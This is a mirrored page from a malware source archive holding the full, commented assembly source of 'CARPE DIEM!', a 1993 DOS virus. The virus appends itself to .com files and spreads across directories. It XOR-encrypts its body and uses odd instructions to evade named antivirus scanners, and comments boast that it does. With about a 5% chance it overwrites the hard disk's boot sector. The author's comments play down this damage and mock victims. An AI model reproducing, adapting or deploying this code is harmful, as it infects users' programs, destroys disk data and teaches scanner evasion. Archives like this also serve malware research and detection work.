mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
292 lines
9.3 KiB
NASM
292 lines
9.3 KiB
NASM
; VirusName : CARPE DIEM! - Seize the day
|
|
; Origin : Sweden
|
|
; Author : Raver
|
|
; Date : 16/11/93
|
|
|
|
; Well this is my (Raver's) first scratch virus.
|
|
; This virus is mainly made for educational purpose (my own!).
|
|
; It's pretty well commented in an easy way so even you folks
|
|
; with little experience with assembler should be able to follow
|
|
; the code!
|
|
|
|
; It's a pretty simple non-overwriting .com-infector with a harmless
|
|
; nuking routine. It clears and restores the file attributes and
|
|
; date/time stamp and finds and infects files using the dot-dot method.
|
|
; An encryption routine and some "unusual" instructions are included to
|
|
; avoid detection by the common virus scanners. At release date, see
|
|
; above, neither F-prot nor Tb-scan found traces of virus code!
|
|
|
|
; There is about a 5 percent chance that the nuking routine will be
|
|
; activated, it checks the system time for 1/100 of a second. If it's
|
|
; activated it'll overwrite the first sector on the fixed disk (c:)
|
|
; which contains the boot sector. This might seem cruel but, infact,
|
|
; it's quite harmless 'cause norton utilities and other programs
|
|
; easily restore the boot sector. It's there just to make inexperienced
|
|
; users (lamers!) nervous!
|
|
|
|
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
|
; CARPE DIEM! - Seize the day
|
|
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
|
|
|
cseg segment byte public 'code'
|
|
assume cs:cseg, ds:cseg
|
|
|
|
org 100h
|
|
|
|
start_of_virus: ;entry point
|
|
call get_off ;this somewhat unusual code won't
|
|
get_off: ;produce a flexible entry point flag
|
|
mov si,sp ;get the delta offset
|
|
mov bp,word ptr ss:[si] ;offset is on top of stack
|
|
sub bp,offset get_off ;put it in bp
|
|
inc sp ;restore sp to it's original
|
|
inc sp
|
|
|
|
; call encrypt_decrypt ;decrypt the contents of the program
|
|
mov ax,bp ;use alternative code - otherwise
|
|
add ax,116h ;f-prot will recognize it as Radyum!!!!
|
|
push ax
|
|
jmp encrypt_decrypt
|
|
jmp encrypted_code_start ;jmp to the (en/de)crypted virus area
|
|
|
|
|
|
encryption_value dw 0 ;random value for encryption routine
|
|
|
|
|
|
write_virus_to_file: ;proc to append virus code to file
|
|
|
|
call encrypt_decrypt ;encrypt the virus before write
|
|
|
|
mov cx,offset end_of_virus-100h ;length of virus to be written
|
|
lea dx,[bp] ;write from start
|
|
mov ax,word ptr [bp+end_of_virus+1ah+2] ;most significant part of
|
|
inc ah ;file length in DTA. Is
|
|
add dx,ax ;always 0 in .com-files.
|
|
mov ah,40h ;Use this trick to fool
|
|
int 21h ;heuristic searches.
|
|
;dx = delta offset+100h
|
|
call encrypt_decrypt ;decrypt the code for
|
|
ret ;further processing.
|
|
|
|
|
|
encrypt_decrypt: ;proc to (en/de)crypt the code
|
|
mov dx,word ptr [bp+encryption_value] ;use random number for every
|
|
lea si,[bp+encrypted_code_start] ;new infection
|
|
mov cx,(end_of_virus-encrypted_code_start+1)/2
|
|
|
|
crypt_loop: ;xor the whole virus code
|
|
xor word ptr [si],dx ;between encrypted_code_start
|
|
add si,2 ;and end_of_virus
|
|
loop crypt_loop
|
|
|
|
ret
|
|
|
|
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
|
; Here the part that will be encrypted starts, i.e. all code
|
|
; except the encryption routine and the routine to append virus
|
|
; to file.
|
|
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
|
|
|
encrypted_code_start:
|
|
|
|
cld
|
|
|
|
mov ah,1ah ;Set DTA Transfer area to after
|
|
lea dx,[bp+end_of_virus] ;after the end of file to save file
|
|
int 21h ;size. Note: do not use default 80h
|
|
;as DTA area since the parameters to
|
|
;the "real" program will be overwritten!
|
|
|
|
lea si,[bp+orgbuf] ;Transfer buffer contents
|
|
lea di,[bp+orgbuf2] ;to be restored to the beginning
|
|
mov cx,2 ;for restart of the "real" program
|
|
rep movsw
|
|
|
|
mov di,2 ;Infection counter, 2 files every run
|
|
|
|
mov ah,19h ;get current drive
|
|
int 21h
|
|
cmp al,2 ;check if a: or b:
|
|
jae get_cur_dir ;if so, skip infection. Otherwise
|
|
jmp no_more_files ;the user will most likely get
|
|
;quite suspicious
|
|
get_cur_dir:
|
|
mov ah,47h ;get starting directory
|
|
xor dl,dl ;it will be changed by the
|
|
lea si,[bp+end_of_virus+2ch] ;dot-dot method later on
|
|
int 21h
|
|
|
|
find_first: ;start finding the first .com file
|
|
mov cx,7 ;in every new dir
|
|
lea dx,[bp+filespec]
|
|
mov ah,4eh
|
|
int 21h
|
|
jnc clear_attribs ;successive?
|
|
|
|
call ch_dir ;no more files in dir. change dir
|
|
jmp find_first ;start over again
|
|
;otherwise jmp
|
|
|
|
find_next: ;this is the upper point of the find
|
|
mov ah,4fh ;files loop in a dir
|
|
int 21h
|
|
jnc clear_attribs
|
|
|
|
call ch_dir ;no more files in dir. change dir
|
|
jmp find_first ;start over again
|
|
|
|
clear_attribs: ;set the file attribute to 0
|
|
mov ax,4301h
|
|
xor cx,cx
|
|
lea dx,[bp+end_of_virus+1eh]
|
|
int 21h
|
|
|
|
open_file: ;open file to be infected
|
|
mov ax,3d02h
|
|
; lea dx,[bp+end_of_virus+1eh] ;since clear_attribs
|
|
int 21h
|
|
|
|
xchg ax,bx ;Put file handle in bx
|
|
|
|
read_file: ;read first four bytes of file
|
|
mov ah,3fh ;They will be restore to the start
|
|
mov cx,4 ;after the virus is finnished
|
|
lea dx,[bp+orgbuf] ;so the program can execute
|
|
int 21h
|
|
|
|
check_already_infected: ;check the first to bytes and check
|
|
mov si,dx ;if the file is already infected
|
|
lea si,[bp+orgbuf]
|
|
cmp word ptr [si],0e990h
|
|
je already_infected ;if so, jmp
|
|
|
|
cmp word ptr [bp+end_of_virus+35],'DN' ;check if command.com
|
|
jz already_infected ;if so, don't infect
|
|
|
|
mov ax,word ptr [bp+end_of_virus+1ah] ;check file size
|
|
cmp ax,500 ;and skip short and
|
|
jb already_infected ;long files
|
|
cmp ax,64000
|
|
ja already_infected
|
|
|
|
|
|
mov ax,4202h ;get lenght of initial jmp in ax
|
|
xor cx,cx
|
|
xor dx,dx
|
|
int 21h
|
|
|
|
sub ax,4 ;subtract the first four bytes, which
|
|
;will be overwritten
|
|
|
|
mov word ptr [bp+startbuf],0e990h ;load the buffer with a nop
|
|
mov word ptr [bp+startbuf+2],ax ;and a jmp to virus beginning
|
|
;notice the reversed order!
|
|
|
|
mov ax,4200h ;move to beginning of file
|
|
int 21h
|
|
|
|
mov ah,40h ;write the new instructions
|
|
mov cx,4
|
|
lea dx,[bp+startbuf]
|
|
int 21h
|
|
|
|
mov ax,4202h ;move to end of file
|
|
xor cx,cx
|
|
xor dx,dx
|
|
int 21h
|
|
|
|
mov ah,2ch ;get a random number from
|
|
int 21h ;system clock for the
|
|
mov word ptr [bp+encryption_value],dx ;encryption routine
|
|
call write_virus_to_file ;append the virus code
|
|
jmp restore_time_date
|
|
|
|
already_infected: ;if already encrypted increase
|
|
inc di ;infection counter with one
|
|
|
|
restore_time_date: ;restore file time & date
|
|
lea si,[bp+end_of_virus+16h]
|
|
mov cx,word ptr [si]
|
|
mov dx,word ptr [si+2]
|
|
mov ax,5701h
|
|
int 21h
|
|
|
|
close_file: ;close the file handle
|
|
mov ah,3eh
|
|
int 21h
|
|
|
|
set_old_attrib: ;restore the old file attrib
|
|
mov ax,4301h
|
|
xor ch,ch
|
|
mov cl,byte ptr [bp+end_of_virus+15h]
|
|
lea dx,[bp+end_of_virus+1eh]
|
|
int 21h
|
|
|
|
dec di ;decrease infection counter
|
|
cmp di,0 ;and check if infection is
|
|
jbe no_more_files ;completed
|
|
jmp find_next
|
|
|
|
no_more_files:
|
|
|
|
mov ah,2ch ;get a new random number
|
|
int 21h ;5% chance of nuke
|
|
cmp dl,5
|
|
ja restore_start ;above 5 no nuke
|
|
|
|
mov ax,0301h ;trash the bootsector of c:
|
|
mov cx,0001h ;This might seem cruel but
|
|
mov dx,0080h ;norton and other programs
|
|
lea bx,[bp+start_of_virus] ;easily fix it. It's just
|
|
int 13h ;to make the user nervous!!
|
|
|
|
mov ah,09h ;deliver a message too
|
|
lea dx,[bp+signature]
|
|
int 21h
|
|
|
|
|
|
restore_start: ;copy the four saved bytes to
|
|
lea si,[bp+orgbuf2] ;beginning of file in memory
|
|
mov di,100h
|
|
movsw
|
|
movsw
|
|
|
|
|
|
restore_dir: ;change back to original
|
|
lea dx,[bp+end_of_virus+2ch] ;dir
|
|
mov ah,3bh
|
|
int 21h
|
|
|
|
exit_proc: ;return to start of program
|
|
mov bx,100h ;This will be enrypted in
|
|
push bx ;infected files, so anti-vir
|
|
;progs won't complain.
|
|
xor ax,ax ;for org virus to push on
|
|
retn ;the stack for ret
|
|
|
|
|
|
ch_dir:
|
|
lea dx,[bp+dot_dot] ;use dot-dot method
|
|
mov ah,3bh
|
|
int 21h
|
|
jnc no_err ;sub dir existed
|
|
pop ax ;otherwise all files are checked. exit!
|
|
jmp no_more_files ;pop the ip pointer from the stack
|
|
no_err: ;and jump to the end part
|
|
ret
|
|
|
|
signature db "CARPE DIEM! (c) '93 - Raver/Immortal Riot",0ah,0dh,'$'
|
|
country db " Sweden 16/11/93"
|
|
filespec db '*.com',0
|
|
dot_dot db '..',0
|
|
orgbuf db 90h,90h,50h,0c3h ;instructions to exit the
|
|
orgbuf2 db 4 dup(0) ;scratch after infection
|
|
startbuf db 4 dup(0) ;nop,nop,push ax,ret
|
|
end_of_virus:
|
|
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
|
; The virus code ends here but the point below here (the heap)
|
|
; is used to store temporary variables such as the dta-area and
|
|
; the starting directory
|
|
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
|
cseg ends
|
|
end start_of_virus |